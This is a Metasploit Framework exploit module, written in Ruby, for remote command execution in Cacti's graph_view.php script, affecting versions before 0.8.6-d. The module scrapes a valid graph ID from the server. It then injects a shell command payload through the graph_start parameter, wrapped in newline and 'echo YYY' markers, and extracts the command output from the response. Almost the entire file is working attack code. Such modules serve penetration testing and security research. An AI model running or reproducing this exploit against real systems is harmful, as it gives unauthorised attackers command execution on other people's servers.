##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'Cacti graph_view.php Remote Command Execution',
      'Description'    => %q{
        This module exploits an arbitrary command execution vulnerability in the
      Raxnet Cacti 'graph_view.php' script. All versions of Raxnet Cacti prior to 
      0.8.6-d are vulnerable.  
      },
      'Author'         => [ 'David Maciejak <david.maciejak[at]kyxar.fr>', 'hdm' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     =>
        [
          ['OSVDB', '17539'],
          ['BID', '14042'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 512,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl ruby bash telnet',
            }
        },    
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => 'Jan 15 2005',
      'DefaultTarget' => 0))
      
      register_options(
        [
          OptString.new('URI', [true, "The full URI path to graph_view.php", "/cacti/graph_view.php"]),
        ], self.class)
  end

  def exploit
    # Obtain a valid image ID
    res = send_request_cgi({
      'uri'      => datastore['URI'],
      'vars_get' => 
      {
        'action' => 'list'
      }
    }, 10)
    
    if (not res)
      print_status("The server returned: #{res.code} #{res.message}")
      return
    end
    
    m = res.body.match(/local_graph_id=(.*?)&/)
    if (not m)
      print_status("Could not locate a valid image ID")
      return
    end

    # Trigger the command execution bug
    res = send_request_cgi({
      'uri'      => datastore['URI'],
      'vars_get' => 
      {
        'local_graph_id' => m[1],
        'graph_start'    => "\necho YYY;#{payload.encoded};echo YYY;echo\n"
      }
    }, 25)    
    
    if (res)
      print_status("The server returned: #{res.code} #{res.message}")
      print("")
      
      m = res.body.match(/YYY(.*)YYY/)
      
      if (m)
        print_status("Command output from the server:")
        print(m[1])
      else
        print_status("This server may not be vulnerable")
      end
      
    else
      print_status("No response from the server")
    end
  end
  
end